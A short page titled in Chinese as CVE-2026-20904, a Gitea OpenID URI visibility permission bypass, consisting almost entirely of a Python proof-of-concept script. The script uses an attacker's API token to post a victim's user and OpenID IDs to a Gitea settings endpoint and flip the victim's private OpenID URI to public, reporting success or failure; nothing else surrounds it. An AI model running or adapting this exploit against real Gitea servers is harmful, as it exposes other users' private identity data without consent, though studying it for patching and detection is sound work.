CVE-2026-20904 Gitea OpenID URI可见性权限绕过漏洞

import requests import json # CVE-2026-20904 PoC - Gitea OpenID URI Visibility Manipulation # Target: Gitea < 1.25.4 TARGET_URL = "http://target-gitea.com" ATTACKER_TOKEN = "your_attacker_token_here" TARGET_USER_ID = 123 # Victim user ID TARGET_OPENID_ID = 456 # Victim's OpenID identity ID def exploit_visibility_toggle(): """ Exploit for CVE-2026-20904: Gitea OpenID URI visibility bypass Allows authenticated user to change visibility of other users' OpenID identities """ endpoint = f"{TARGET_URL}/api/v1/user/settings/openid" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Malicious payload - changing visibility of victim's OpenID URI payload = { "user_id": TARGET_USER_ID, # Point to victim "openid_id": TARGET_OPENID_ID, "visibility": "public" # Change to public (was private) } try: response = requests.post(endpoint, headers=headers, json=payload, timeout=10) if response.status_code == 200: print("[+] SUCCESS: OpenID visibility changed to public") print(f"[+] Target OpenID ID: {TARGET_OPENID_ID} is now visible") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": exploit_visibility_toggle()